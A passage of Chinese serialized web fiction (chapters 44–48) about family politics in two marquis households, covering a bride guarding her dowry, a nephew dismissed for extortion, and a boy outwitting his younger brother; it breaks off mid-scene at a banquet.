老太太也觉得必定是这个原因,“是了,这门亲事是她母亲主张的,如何听得进去女儿的苦楚,让人进来。”说罢由青梅服侍着进了屋子。
没一会儿,孙冉就带着丫鬟金桂来了,手里还捧着一个匣子。
行礼道:“冉儿给外祖母请安。”
老太太见对方神色如常,虽心里暗暗猜测,嘴上却道:“好孩子,快起来吧!”
“谢外祖母。”
“你这才成婚几日,怎么这时候上门?可是被你夫君欺负了,若真如此,必定要告诉外祖母。”
孙冉并未开口诉苦,而是从金桂手中接过匣子,看向老太太的眼神十分坚定,言语中满是恳切,“这些钱实在无处可去,请外祖母帮我保管。”
“你这是做什么?”老太太还以为金桂手里是上门带的礼物,没想到竟然是钱。
见老太太如此问,金桂再也忍不住了,一五一十地将昨日发生的事全说了。
“什么?竟然这般恬不知耻!亏他还是安远侯府的郎君!”老太太也没想到,外孙女进门不过六七天,不仅要处理这种腌臜事,对方还惦记起嫁妆来。
孙冉原本觉得没什么,可金桂如此一说,她只觉得自己命苦,眼泪像是断了线的珠子往下掉,“外祖母,您是知道的,母亲本就心里想着哥哥,我若是让母亲帮着保管,哥哥必定惦记;可家里又藏不住,我进门才几天他就这样,以后只怕更甚,所以能帮我的只有您了。”
老太太心疼的将人搂进怀里,拍着孙冉的背,承诺着,“你放心,这钱外祖母帮你保管,若是要用就派人来取。”
“多谢外祖母,我这一辈子也就这样了,这点傍身钱万不能让人搜刮了去。”孙冉用帕子抹了抹眼泪,脸上终于浮现出一些松快。
“外人能帮你的终是有限,以后与秦三郎过日子的是你,还需你自身硬气起来,别逆来顺受。”老太太又嘱咐了一番话,而这些孙冉的母亲封简仪从未对女儿说过。
“你母亲眼里只瞧得见富贵,你父亲在地方任职,孙尧又是那副样子,将来不给你找事就算不错了,所以你要记住,自己把日子过好了比什么都强!”
孙冉内心感动不已,她母亲只让她进了安远侯府后,要赶紧生个孩子站稳脚跟,要多替兄长和父亲着想,自己将来依靠的只有娘家,现在听了这番话,郑重的点了点头,“我记住了,外祖母。”
“别管你母亲说的话,你嫁进安远侯府已成定局,无可更改,今后照顾好自己最重要。”
俩人又说了好一会儿的话,孙冉还在老太太这里用过饭才回去的。
只是她刚回去,就碰见了秦三郎,对方见到她并未有温言软语,说话夹枪带棒,颇有些阴阳怪气的味道,“夫人这是去了何处?也不告诉我一声,也好让我陪着你去,没得来找你时人不在,让我扑了个空,以前在娘家一些不好的习性,还是改过来的好。”
金桂心中恼火,有心上前帮着说两句,没想到孙冉赶在前面开口,“夫君别误会,我是去看望外祖母去了。”
秦三郎一听是去武安侯府,态度发生了一百八十度转变,语气也软和下来,“既是去武安侯府,那就更应该让我陪着你去,可是老太太身体不适?”
孙冉固然性子柔和,可现下亲眼瞧见夫君态度巨大的转变,只觉得恶心,可到底说不出恶语,只是神情淡淡的,语气也毫无波澜,“当日成婚时,外祖母对我颇为不舍,所以今日特意去探望她老人家。”
秦三郎连连点头,然后又惦记着钱的事,“哦,是吗?对了,我昨日不是跟你说过今日出门宴请好友,你给我拿三十两银币。”
“我记得煦和楼一桌上好的饭菜也就七八两,你要去请什么客,竟要三十两之多?”孙冉当然知道对方不过是想要钱去那些秦楼楚馆,勾栏瓦舍。
秦三郎觉得自己男人的威严受到了挑衅,当即下了脸,“男人的事,你一个女人家懂什么?还不快给我拿钱!”
别说孙冉将钱放在了老太太之处,就是没放,也不想给对方一文钱,“昨晚我翻看了三房的账,上面不仅没钱,倒还欠着一百多两的外账,现下我这里也没钱,夫君不如想想别的办法?或是看侯府公账上,能否支出一些银钱,也好让我补了账上的窟窿?”
此话一出,直接臊了秦三郎的脸,他并不觉得要钱有错,只觉得被如此戳破,难堪罢了,有些恼羞成怒道:“休得胡说,哪里会欠那么多!”
说完也不好意思继续待下去,甩袖离开。毕竟屋子的门大敞着,里里外外还站着不少丫鬟,大家都听见了他的不要脸之言。
众人都瞧着,安远侯夫人自然也知道了,疑惑道:“你说这老三媳妇没拿钱?”
旁边的丫鬟继续延伸话题,“千真万确,三郎君当时臊的脸都红了,里里外外那么多人都听见了,而且她吃完早饭,就抱着钱匣子出门去了,听跟车回来的人说是去了武安侯府。”
“难怪,三郎什么样子这封大娘子一清二楚,可还是将女儿嫁进来了,老三媳妇自然明白娘家靠不上。她虽然性子弱,却不傻,自然要找外援,将钱拿给安老夫人保管,总比被三郎搜刮强。”安远侯夫人一边用玉轮按摩着自己的脸,一边和贴身丫鬟八卦分析。
第四十四章 就她还当是个宝
自从秦三郎从孙冉这里拿不到钱之后,态度更不似从前,对其横挑竖嫌。只要手里有钱,就一连多日不归家,钱花光才会回来,回来之后也只是宿在妾室那里。
如此竟让孙冉得了些清静,巴不得对方一直不回来。她听了金桂的建议,打算从妾室那里抱养一个,今后对方如何也与她无关。
话说孙尧果然在巡城卫里得了一个职位,也只是很低层的巡城兵。原本他对上职并不感兴趣,可渐渐的竟然发现可以从底层百姓那里压榨些好处,竟一日日地,从未缺勤。
只是世上没有不透风的墙,因为他太过分,被人察觉直接举报给上官,上官不仅要没收贪污来的财帛,还将人逐出了巡城卫。
封简仪上门的时候,孙冉正逗着咯咯笑的婴孩。
封简仪见女儿只顾着逗孩子,自从她进来就没说几句,“不过是个庶出,有什么可看的,交给乳母就是,将来你生了孩子慢慢看,现在要紧的是你哥哥!”
孙冉正因不想正面与母亲起冲突,这才不接话,但还是没躲过,“母亲,哥哥这是犯错被逐,您让我能怎么办?”
封简仪一看女儿那副软弱的样子就生气,只是现在还要靠对方,语气软了三分,“去求一求你婆母,你公爹,其实也不怪你哥哥,他也是想手头宽松些罢了,而且这钱已经还回去了。”
“兄长勒索百姓本就不对,这种事让我如何开得了口,今日早晨给母亲请安,大嫂和二嫂对我好一通奚落。”一提起这事,孙冉就尴尬的脸红,当时羞的想找个地缝钻进去。
“现在是脸面重要,还是你哥哥的前程重要?你虽然嫁进安远侯府,但你毕竟姓孙,以后还要靠你哥哥为你在婆家撑腰。”封简仪如今满心满眼都是儿子的差事,如何听得进去。
孙冉见说不过母亲,只低着头不说话。
这一幕把封简仪气的够呛,怒其不争的用指头点着对方道:“又低着头不说话!我是能吃了你不成?一到关键时候就是这副样子,我是白养你了!”母女二人最终不欢而散,不过封简仪并未放弃。
孙冉看母亲离开后,这才松了一口气,紧接着长叹一声,她都习惯了。哥哥这些年没少惹祸,无论是父亲,还是武安侯府都给他收拾过烂摊子。父亲现在在地方任职鞭长莫及,武安侯府早就厌烦放弃了哥哥,如今看样子轮到自己了。
只是她本就在安远侯府处境尴尬,如何能使得上力气,更何况她其实在内心觉得哥哥身上的职务没了正好,免得将来惹出不可收拾的祸事。
武安侯府。
这一日正好是腊八,几个孩子都在老太太这里喝腊八粥。
大郎舀起一勺尝了一口,觉得有些淡,便对旁边的丫鬟说道:“给我这碗里添些蜜。”其实大郎喜食甜,只是前几年换牙一直忍着,这一年来可算是开了禁,又看向封砚初,“你要吗?”
封砚初摇头,他不喜欢太甜的,而且糖吃多了也不好,“不了,我这样吃就挺好。”
老太太现在已经过了知天命之年,深知牙齿的重要性,看着几个孩子的样子,心里只觉得好笑,“大郎还是这般爱吃甜的?”
大娘子放下勺子,抿嘴而笑,“是啊,前几年他长牙,我特意叮嘱不许吃甜的,如今可算是放开了,竟有些收不住。”
老太太心情不错,语气中带着调侃的味道,“到底年纪还小,等到了我这般年岁,便知道有一副好牙有多么重要。”
就在众人乐呵呵,一片祥和之时,竹溪进来了,“老太太,门口说大姑奶奶来了。”
此话一出,空气瞬间凝固,原本还笑吟吟地老太太,脸上的表情也变了,嘴角勉强扯出一个弧度,声音也十分冷淡,“她不在家过腊八节,怎么这会儿来了?”
因为老侯爷给出了不许上门的话,所以门房的人一时之间不敢轻易决断,但毕竟是侯府的姑奶奶,这才让人进来通禀。
大娘子一直不喜封简仪,要说以前还能装一装,可因着几件事俩人也有了龃龉,这会儿一言不发。
温氏与对方没什么矛盾,可这会儿老太太明显在纠结,需要有人找台阶,开口说了几句,不过带了些许暗示,“母亲,虽说父亲有言在先,但外头还下着雪,到不好让人在门外候着,万一被外人瞧见只恐说闲话,不若先将人请进来,大姐姐许是有事。”
老太太听了温氏的话,刹那间联想到前几日孙尧因犯错被罢免的事情。自从几年前的事之后,女儿轻易不登门,这次来必定是为那个孽障求情,走门路。
心头那点子不忍,瞬间烟消云散,说出的话也变得冷硬起来,“必定是为了孙尧的事来的,就说今日过节,我正忙着,让她先回去吧。”
竹溪得了命令,出门撑着伞朝二门走去,那儿还有人等着里头的吩咐呢。
封砚初看了看周围寂静的空气,实在没能按捺住心中的好奇,“表兄是犯了什么错吗?”
这话一出,仿佛打开了老太太的话匣子,她指着二郎对俩个儿媳妇说道:“你们听听,就连一个不知情的孩子一听孙尧的名字,便猜着是犯错了,足可见这人的品性之差,就她还将儿子当成个宝贝护着!”
大娘子眼瞧着今日封简仪是进不来了,心情也好了许多,也就没想瞒着孩子们,干脆全说了,“老太太也别忧心,外甥失了巡城卫的职位未必是件坏事,他在职期间压榨勒索百姓,实在不像话,被人举报逐出巡城卫也好,免得将来犯下更大的错处。”
“什么?竟然利用职务压榨勒索百姓!”封砚初虽然不了解古代,但也知道必定是做的太过分了,否则巡城卫的人不可能连安远侯府的面子都不给。
大娘子早就听夫君封简宁说了前因后果,“是啊,巡视京城治安本来就是防城卫的责任,他们经常和小商小贩打交道,要不是做的太离谱,百姓也不敢深怨,其余防城卫的人更不会检举。”
“要我说他如此败坏巡城卫的名声,即使有安远侯的面子,也不顶事,如此行径姑母竟然还顾念。”封砚初对此人有些无语,这事做的有多过分,竟然让防城卫的人丝毫不顾念同事之谊,要知道巡城卫的人必定多多少少也会收取好处。
大郎封砚开也没忍住,骂了一句,“败类!”
封砚初突然想到一件事,“还不知他在职期间,有没有打着咱们武安侯府的名义行事。”
封砚开一听事关侯府名声,担心道:“若真如此,咱们侯府的名声岂不是要被连累?”
封砚初的担心不无道理,当天老侯爷回来以后,老太太就将事情说了。
而封简宁回来也被大娘子叫去了。
第四十五章 无用之人只会被抛弃
他听了大娘子的话,端起茶杯的手又重新放下,长叹一声,眉间是解不开的愁绪,“二郎说的不无道理,这种事也并非第一次了,孙尧之前在外就打着咱们侯府的名义,如今父亲不许他们上门,可是外人并不知道,只觉得他是仗了咱家的势在外头胡作非为。”
“谁说不是呢?若这孙尧仅仅是平庸也就罢了,偏生他又是这个行径。”大娘子也跟着吐槽,自从发生孙尧这件事,她都不好意思出门。
“何尝不是呢,今天还有同僚试探我的口风呢!”面对同僚的询问,封简宁羞愧的头都快要抬不起来了,虽说勋贵人家多有纨绔子弟,可人家好歹是收敛着的,否则朝堂上的御史定会弹劾。
“你如何说?”大娘子紧张的问,她主要担心夫君含糊过去,让别人以为自家包庇。
封简宁巴不得撇清关系,遇到机会自然要摆明态度,“我还能如何说,我说大姐姐如今已是孙家妇,孙尧更是姓孙不姓封,他如何与咱家无关。”
大娘子长舒一口气,随后又对婆母的态度有些无语,忍不住吐槽,“那就好,今日大姐姐上门想为孙尧求情,要不是弟妹暗示,母亲没准还真就将人迎进来了。”
封简宁听了这话,眉头紧皱,语气也不复以往,“大姐姐如此不孝,儿子也惹事生非的,竟还心软,难道真的要连累咱们武安侯府才罢休吗?”
大娘子见夫君对此很不满,便建议道:“夫君还是给父亲说一声,让他也劝一劝母亲,顺带也警告一番孙尧,不许他对外打着咱们侯府的名义胡作非为。”
封简宁听后点头道:“你别担心,为了侯府的将来,父亲不会容忍的,否则当初也不会打断二弟的腿。”
大娘子听到这里心中也放心下来,老侯爷对亲子尚可下此重手,更何况是一个胡作非为的外孙!
后头的事情,果真如封简宁预料的一样,老侯爷如今最关心的是侯府的荣耀以及延续,怎会容忍孙尧败坏声誉,他专门挑了一个公众场合,带着下人找上了才从红乐坊出来的孙尧,将其打了一顿。
警告对方不得打着武安侯府的名义胡作非为,并且对外公布孙尧虽然是外孙,但若是对方打着封家的名号以势压人,大家不必顾及武安侯府,此人所做的一切皆与侯府无关。
那些在他还是巡城卫期间被压榨过的百姓听后拍手叫好,觉得武安侯府深明大义。
孙尧并未认识到自己错了,只是觉得侯府无情,不知庇护自己。可接下来的日子里,让他认识到什么叫捧高踩低。
武安侯府和他撇清关系,而他父亲不过是一个小小的地方官员,京城里多的是皇孙贵胄,都没他这般嚣张,失了这层关系,大家认他是谁?于是接连受挫,就连孙仲桥都收到教子不严的斥责,紧接着就派人进京,年后便将儿子接回去。
封简仪原本就出生在侯府之家,这几年好容易回京,怎能忍受再次回去,便不经通传直接闯入,门子上的下人也不好强行阻拦。
“母亲!”
一个声音惊地老太太一个激灵,自从之前被老侯爷说教了一通后,她也想开了,女儿不争气,可她不仅只有一个女儿,还有两个儿子,以及侯府也要顾及。
“她怎么进来了?”
说话间,封简仪已经从门外进来了,“母亲,如今连您也不想见女儿了吗?”
人已经进来了,老夫人也不好将人赶出去,皱眉问道:“你怎么来了?”
“如今侯府将女儿拒之门外,要不是女儿强行闯进来,恐怕只能看一看武安侯府大门口的石狮子!”
“你也别抱怨,无论旁人如何,自问我这个做母亲的没有对不起你,可你呢,前些年还像些样子,这几年愈发没个体统。为了一个孽障,将女儿推入火坑,这些年孙尧打着侯府的名义,干的烂事还少吗?”
“京城这么多皇亲贵胄,试问谁有他那般嚣张?以往别人给他几分好脸色,不过是看在侯府的份上,可他毕竟姓孙不姓封!让武安侯府的声誉因为一个外姓之人受到损害,别说你父亲不许,就连我也不会容忍!”
“如今女婿叫他回去也好,没得继续再待下去,惹出大祸,带累你女儿!你将女婿一个人扔在地方上也不好,还是跟着一起回去吧。”
自从封简仪进门说了两句话之后,老太太就没再给女儿说话的机会,她几乎不带停顿的输出,就是想让女儿清醒过来。
可你永远无法叫醒一个装睡的人,封简仪带着怨恨的目光落入老太太眼中,更是觉得往日对女儿的疼爱都已付之一炬,不说孝顺,如今等来的竟然是心存怨恨,要知道以前自己对她可是予取予求的。
当下心寒不已,不想再看到对方,朝一旁的青梅挥手喊去,“请她出去吧,以后轻易就别上门了。”
以前的封简仪最多是有些张扬,可生活的不如意,已经将她从前的影子消磨殆尽,只余自私狭隘。
此时此刻的她已经意识到,母亲已经抛弃她了,心中满是怨恨,难道为儿子着想错了吗?她几乎是声嘶力竭的说,“母亲!你是我的母亲啊,我是武安侯府的娘子,如今连你也要抛弃我了吗?你可真是狠心。”
说到此处,她擦了擦眼泪,倔犟的仰着头,“你放心,从今以后,我再也不会踏足武安侯府半步!”
看着急步离去的背影,老太太心里头竟没有想象中的难受,只有些遗憾,摇头喃喃着,“你可知,正因为你出身侯府,所以一旦没了用处,你父亲和弟弟会第一时间放弃你,更别说你净给侯府惹事,自然会被抛弃。”
说到这里,她想到了次子。次子只是平庸,爱拈花惹草了一些,并不是一个给侯府惹祸的性子,可仅此老侯爷便已经放弃他了。
几年前一次差错就被打断了腿,如今更是在侯府足不出户,默默无闻,仿佛不存在一般。他对儿子尚且如此,更何况对一个出嫁的女儿。
第四十六章 即使你说的是真的又能怎样
之后的日子重新归于平静,临近年根,学塾里放年节,封砚初也终于有了自己的时间。
随着年纪渐长,他也忙了起来。学塾里的先生课业抓得很紧,除了要应付本身的功课以外,还要看医书,习武,真可谓是不留半分清闲。
与往年一样,他早早的完成功课以后,便开始做自己的事。医书也抄完了,但想要精进必得实践,可又没有这个条件,所以他现下也只是先通读一遍,将其记在心里以待来日。
就在他看书时,突然听见了开门的声音,吓得他连忙将医书塞进旁边装画的画缸中。
果然进来的不是下人,他院子里的人都知道自己有一个规矩,那就是进来必须先敲门。
“二哥,你在干嘛呢?”三郎封砚池进来问道。
封砚初无奈的举了举,方才随便拿起来的《论语》,“读论语,怎么了?”
“我有些无聊,来看看你。”封砚池并未表明来意。
可他并不想搭理三郎,故意挑了一个对方不喜欢的话题,“你的功课写了吗?”
没想到三郎得意地挑了挑眉,“今天上午就已经写完了。”
这让封砚初很诧异,放下手里的书,上下打量了一番,调侃着,“哟,眼前的还是我那喜欢玩乐的三弟?或者今日太阳是从西边升起来的?”
三郎被说的不好意思起来,“什么嘛,是我姨娘每日盯着我,必须让我写完功课之后,才可以出来。”
这么说,封砚初就理解了,张姨娘这几年迷上了打叶子牌,但是因为三郎不爱学习的事情,总是受到大娘子和封简宁的批评。
前天,王锦娘来看他之时,还拿了一双新纳的鞋,看来张姨娘最近盯着三郎写字,所以姨娘这才有时间做新鞋。
“原来如此,我说呢,你怎么可能主动写字。”
封砚初说话期间,三郎并不安分,属于那种东瞧瞧西看看,每当对方目光扫过画缸之时,他的心就提起来。
“二哥,我方才过来的路上,外头的雪停了,咱们去打雪仗吧?”
“不去,我要看书,你先回去吧。”
三郎见没劝动,有些失落,“那算了,我去找四弟玩。”
封砚初眼见着对方出了门,又过了一小会儿,这才将医书从画缸里拿出来,正看的认真,门被猛地推开。
“被我抓到了吧!”竟然是去而复返的封砚池,只见他眉眼间都是得意之色。
门大敞着,外头不知什么时候重新开始下起了雪,寒风裹杂着风雪钻进屋内,气温瞬间下降。
封砚初心中只觉得糟糕,他眉心微皱,声音中带着不悦,“你想冻死谁?还不赶紧关门!”
“哦,哦。”封砚池这才反应过来,连忙转身关门。
若是以前没准还真就叫三郎抓个正着,可他现在学了武,今非昔比,就在对方转身关门之际,电光火石间,他手上的书就已经换成另外一本。
封砚池将门关上之后,快步走上前,一把将他手里的书夺了过去,只见上面写着《搜神记》三个大字。
“我还以为是什么呢,你原来在看搜神记!”三郎颇有些失望,他还以为是什么武侠江湖奇传呢。
“怎么?你看过了?”封砚初当然知道对方看过,故意一问。
封砚池失望的将书还给二哥,有气无力的点头,“看过了,早知你想看,我便借给你了,何必费这个钱。”
自从几个孩子去了学塾读书,张姨娘便将银钱还给三郎,为的就是孩子之间难免有个一二交际。
可封砚池得了钱之后,再加上学塾除了甲等班之外,还有不少学子,他犹如鱼入大海般,与这些人交往甚密,自然也就接触过这些小说话本。
“你竟说出这些话?”不怪封砚初怀疑,这委实有些违和。
“瞧你说的,自从我迷上这话本以后,这月钱是每月都不够用。”其实封砚池早就来了,见院子里空无一人,便想吓一吓二哥,没想到他才将门悄悄推开一条缝,便瞧见二哥看的不像是经史子集,只是没想到进去后看到的竟是一本论语。
所以第二次他并未离开,哆嗦着等了好一会,这才来了个突然袭击,果真被他逮到了。
封砚池眼珠一转,一个主意浮出,脸上换成一副巴结讨好的意思,“二哥,既然你也喜欢看话本,不如我将自己的书卖给你如何?”说话期间还用眼神偷瞄着封砚初,并且一只手还在偷偷搓着衣角。
“没钱花了?想用你那话本子找我换钱?”
封砚池见二哥如此理解自己,连忙点头,“嗯嗯嗯!”
“我不换!”谁知封砚初压根不答应,先不说有没有钱,他根本不想换。
封砚池惊呆了,他压根没想过二哥不答应,指着那本《搜神传》,带着威胁的意思,“你就不怕我将这件事告诉父亲吗?”
封砚初盯着对方的眼睛十分真挚,“你会吗?”
这一问,竟让封砚池犹豫起来,他也不想告状,纠结了好一会,然后抱着胳膊求起来,“二哥,我求求你了,你就帮帮我吧!”
封砚初用手指将人顶开,“我不!”
“哼,你不帮我,我就真的要告诉父亲了?”只见封砚池将脸扭向一边,嘟着嘴。
“你去告诉父亲吧。”封砚初要是怕的话,就不会传出调皮的名声。
这下轮到封砚池傻眼,在他心里全家除了祖父以外,就是父亲最严厉了,而且他觉得被父亲知道是一件很严重的事情,他带着不可置信的语气反问,“二哥,你不怕吗?”
只见封砚初举起《搜神传》,递给三郎,认真道:“你拿着这本书去告吧!”说罢还摆出了请的姿势。
封砚池接过书,一边朝外走,一边回头道:“我去了啊,我真的去了?”
封砚初并不怵,只是坐着看起了《论语》,嘴里的话十分淡定,“去吧,我就说这本书是你带来的。”
封砚池果然停下脚步,高声反驳,“你胡说,明明是你的书!”
“可你觉得父亲是相信我,还是相信你呢?我虽偶有淘气,可在父亲心里我在读书一事上从未懈怠,反观你呢,只要是与读书无关的事都喜欢,没准父亲还觉得你是因为没钱花了,这才冤枉我的。”说话期间,封砚初连头都没抬。
三郎哪见过这个,简直颠倒黑白,觉得二哥太坏了,可转念一想,竟十分有道理,整个人都沮丧起来了。
“二哥!你怎么能这样呢?”可怜的三郎,这是他有生以来,第一次见到世间险恶,却没想到是二哥给他上的一课。
“别丧着张脸了,过几天就是除夕肯定会发压岁钱,到时候不就有钱了。”自从买了那个宅院,又修缮一番后,封砚初身上的钱也不多了,之后还要置办东西,哪哪都要钱,怎么可能接济三郎。
三郎听了这话,心情立即好了很多,“对啊,我怎么没想到呢?谢谢二哥。”他不仅将书还给了二郎,并且心满意足的离开了。
直到人彻底离去,封砚初膝盖一松,这才将顶在桌子底下的书拿了出来,心里庆幸不已,幸亏他之前就担心此类事情发生,所以专门在桌上放了一本《搜神记》。
而这也就是为什么,他在三郎第二次进门后,一直坐着没起来的原因。
之后也果然如预料的一样,三郎一次没注意,不小心给张姨娘说漏了嘴。
可最终的结果就是张姨娘不仅没相信,还把儿子骂了一顿,“我看那个恨不得整日抱着话本的人是你吧,竟还给二郎栽赃!”
“唉,二哥说得对,果然没人相信。”
“胡说八道什么?还不快去写字!现在整个侯府里的郎君,除了你以外,哪个还需自己的姨娘成日里盯着读书写字的?”
第四十七章 你怎么不早说
张姨娘看着去写字的儿子,心里嘟囔着,不爱读书也就罢了,竟然还学会了栽赃陷害。
王锦娘因为二郎比较省心的缘故,所以她很闲,便来找张姨娘串门。
张姨娘也没瞒着,带着歉疚说道:“你说说这孩子,年纪不大,还学会栽赃陷害了!”
王锦娘没往心上放,不过还是建议张姨娘仔细查看查看:“是不是没钱了?”这话并非虚说,纯属三郎有前车之鉴。
张姨娘两手一拍,这才反应过来,“八成就是,这孩子藏不住隔夜食,那些话本子估计花了不少钱。”
“要不你还是多盯着些。”王锦娘建议道。
张姨娘瞅了瞅正在屋内写字的儿子,懒得费心,冷哼一声,“他?还是算了,你说说咱们几个,就我操心最多,但凡他回来,我连门都不敢出,就是为了看着他。”
屋外的说话声,自然被三郎听了个正着,他只觉得委屈,二哥明明也在看话本,可根本没人信,随即心里郁闷的想着:难道自己的信誉真的那般差?
让三郎没想到的是,他姨娘就没想帮他瞒着,没几天就被大娘子知道了,还专门将人叫去,同去的还有封砚初。
“三郎,我知道你不爱学习,有些闲钱也都买了话本子,可即是再缺钱也不能冤枉了二郎。”
封砚初见状赶紧上前道:“母亲,我确实看了话本。”
大娘子听后一脸欣慰,然后继续对三郎道:“你看看二郎对你多好,都这会子了,还替你遮掩,你可知错?”
三郎有些欲哭无泪,明明二哥都亲口承认了,可大娘子还是不相信,只能带着委屈,低声道:“儿子知错了,再也不敢了。”
大娘子听了这话,才满意地端起茶杯,喝了一口,“嗯,知错就好,只是精力还是要放在学习上,这些闲书还是别看了。”
“儿子知道了。”
出了大娘子的院子,三郎都不想和二哥说话了,直到对方主动开口。
“你知道为什么吗?”
三郎摇摇头,“不知道。”
封砚初指着不远处屋檐上的瓦片说道:“若是你一会儿将那块瓦片打碎,然后对外说是我干的,我估计大家就会相信了。”
“可是为什么?”
“因为咱俩的性格不同,在大家眼里我比较调皮,你不爱学习,这个观念已经根深蒂固了,所以什么东西被破坏或者干什么坏事,大家最先怀疑的是我。”封砚初并未隐瞒。
可让他没想到的是,话音刚落,只见三郎脸上露出坏笑,“这可是你说的!”然后捡起一块石头扔出去,还真就将屋檐上的瓦片砸碎了。
接下来指着封砚初朝众人大喊,“快来人呐,二哥将屋檐上的瓦片砸碎了。”此话一出,果然引来了围观之人。
没一会儿,大娘子闻声赶来,果真看到地上碎了的瓦片,眉心微微一皱,“是谁干的?”
三郎立即指着封砚初道:“母亲,是二哥干的。”
封砚初嘴角勾起一抹笑,心中想着,三弟,既然如此,那么二哥让你再长一长教训。
他拱手行了一礼,神情严肃,“母亲,这并非儿子所为。”
大娘子眉心紧拧了几分,看向三郎的眼神十分失望,“老三!亏得二郎对你诸多袒护,都这个时候了,竟然还敢寻迹报复,诬赖你二哥!来人,取戒尺来!今日我非得好好教训教训你。”
封砚初见大娘子来真的,赶紧上前求情,“还请母亲息怒,三郎只是孩子心性,想试探试探,看大家会不会相信这屋檐的瓦片,是不是儿子砸的,他也是因为好奇心太重。”
大娘子原本不想深管,可三郎这种诬赖兄弟的行为十分不好,尤其是封氏一族一荣俱荣,一损俱损,和睦最为重要。
她对二郎很满意,脸上的表情也略微缓和了一些,只是并未答应,“你不必求情,若是别的事也就罢了,只是这次不能轻纵,不仅冤枉亲兄弟,还伺机报复诬赖,就是我不教训,来日你父亲知道也是一顿好打!”
三郎已经吓得瑟瑟发抖,这次确实是他自己打碎的瓦片,还试图冤枉二哥,可这也是因为他想印证对方的说法,所以在打手板之前,眼泪就已经掉下来了。
这次是大娘子亲自动的手,打一下还问一句,“知错了没?”
三郎边哭边点头,“儿子知道错了,再也不敢了!”
打完之后,他捧着自己红肿的手,眼泪巴巴地问封砚初,看起来十分可怜,“二哥,你骗我,大家根本不相信是你干的。”
封砚初长叹一声,拍着三郎的肩膀语重心长道:“三郎啊,也是你太着急了,我话都还没说完,你就迫不及待的想证明,可不就挨打了。”
“没说完?还有什么?”
“还有就是大家都觉得我虽然调皮,但说一不二,是我干的我承认,不是我干的我从来不会认!”
“啊!你怎么不早说,害的我还挨了一顿打。”三郎听完后,眉毛当时就皱起来了,语气中满是怨念。
他捧着手回去之后,张姨娘就对他投去怒其不争的眼神,大娘子用戒尺教训他的事情并未隐瞒,所以张姨娘也知道了。
便开口埋怨着,“你说说你,竟然还冤枉起兄弟来了,幸亏遇到的是大娘子,最多打一顿手板,若是被你父亲知道,少不了一顿板子!小小年纪不学好。”
三郎一听这话顿时伤心起来,姨娘不说安慰安慰他,竟还训他,“姨娘,这分明是二哥故意的。”
张姨娘正要教训,便听见瑞雪进来回禀,说是二郎院里的雪香来了。
雪香捧着伤药进门行礼道:“张姨娘,我们郎君知道三郎君挨打,特意让奴婢送来上好的万花膏,活血化瘀,消肿止痛最好。”
张姨娘接过万花膏,连连致谢,“多谢二郎,不仅没怨三郎,还送来这药。”这药其实是封砚初尝试制作的,不过经过试验,效果很好。
“那奴婢先告退了。”
她直等人走了以后,才将药膏递给瑞雪示意上药,“你看看二郎,心胸多宽广,不仅不怨你,还想着你,多好!”
三郎张了张嘴,最终什么话都没说,因为只要开口辩解,势必会招来姨娘的训斥。此时此刻他都有些佩服二哥了,说的还真准,心里对封砚初多了一些他自己都未察觉的信服,也算是吃一堑长一智。
事后也真如封砚初说的那样,无一人相信,就连大郎和长姐都来劝他,让他将心思用在读书上,而他也比以前收敛了许多,真可谓祸福相依。
第四十八章 你竟敢打我
这一日,清明刚过,缠绵不绝的细雨也停了,它抚平了烦躁的大地,夹杂着泥土的气息冲入鼻中。
清晨,郁郁葱葱的草木上点缀着露珠,显得分外可人。
唐家小舅舅唐显的长子满月,大娘子与封简宁便带着女儿,大郎与封砚初前去贺一贺。
本来不过是小孩子满月宴,一些人家原本只需让自家娘子去即可,但是唐家老爷子唐承升任大理寺卿,所以很多人家也想借着这个机会结交一番。
当封砚初到了唐家后,便发现此次参加满月宴之人比几年前小舅舅成婚还要热闹。
安南将军孙家是姻亲自然要去,还有平昭公主的驸马,永定伯汪家,安远侯秦家,信国公徐家等等,除了勋爵,还来了很多官宦人家。
这些人家的车马将唐家所住的太平巷挤得水泄不通,还在巷口时,封简宁与大娘子就下了马车,带着三个孩子步行而去。
看着与上次截然不同的情况,说实话,封砚开就已惊呆了,忍不住感叹,“这么多人!”
封简宁听到长子的惊叹,微微抬眼看去,他觉得这是一个教导两个儿子的好机会,“你们外祖父去年升任大理寺卿,比之前的少卿之位那个是高出了两级,更何况大理寺隶属于三司,何其重要,这里头的意思大家自然明白,可不想着来结交一二。”
大郎封砚开听后两眼放光,赞道:“大理寺卿,那可是正三品。”
封砚初内心却没有想象中的羡慕,反而觉得官场无常,想到前些年唐承还只是刑部的一个小主事时,可谓是门庭冷落,之后迁至大理寺为左少卿才好些。
封简宁对长子的反应很满意,“所以说,你们如今还小,当以读书进学为要!不可懈怠。”
“是,父亲。”大郎将父亲的话听了进去。
封简宁见次子没反应,皱眉斜眼看去,“你听见了没有?”
封砚初并不想违心,但又不想扫父亲和大娘子的兴,只是低声“嗯”了一下,简单地给了个反应。
进了唐家,几人先去拜见了唐承与王大娘子,然后封简宁去了前院会客处,大娘子则是带着三个孩子去了后院。
这里的人不少,大娘子简单与众人问了安,便与几个孩子一起去了小妗子方悦荣处。
屋内密不透风,比起外面气温高出不少,几个女人正与方悦荣说话,从言谈可以听出,明显是方家人。
大娘子送的是一个如意云纹金镶玉项圈,她瞧了瞧孩子,夸赞了几句,随后又与方悦荣说起了闲话。
至于那个孩子,封砚初也凑上去瞧了瞧,说实话,皱皱巴巴的并不好看,也不知大娘子怎么想出那些赞誉之词的。
大人们说话最无聊,方悦荣看出他们三个待不住,便主动发话,让他们出去玩。
刚出了房间,长姐封砚敏就摇头叹气道:“我方才瞧了瞧表弟,长的那样丑,将来长大可怎么办?”
封砚初虽然也知道孩子长一长自然变得白嫩,只是他瞧那孩子与小妗子,长的分外相似,将来长相估计也寻常,不过这话可不能说,“小孩子都这样,等长开了自然就变得好看了。”
“若真是这样那就好。”封砚敏听后,也稍稍松了一口气。
他方才就从房间内的摆设看出,屋内没有一件与男人有关的物品,小舅舅也未曾纳妾,可见他们不仅感情寻常,而且早就分房而睡。方悦荣眉间却不见半点愁绪,一副有子万事足的样子,并未放在心上。
这一切落在外人眼里,只以为两人夫妻恩爱。
原本以为吃顿饭就完事,没想到却发生了一件意外。
就在封砚初与孙延年俩人一起吃点心之时,一个刺耳的声音传来,“哟,这不是武安侯府的庶子吗?怪不得吃的如此狼吞虎咽,感情是没见过呀。”
什么小屁孩,封砚初怒从心来转头看去,竟然是陈泽文,此次是跟着陈驸马一起来的,“小小年纪就患了眼疾不成?什么叫没见过?什么叫狼吞虎咽!不会说话就把嘴闭上!”
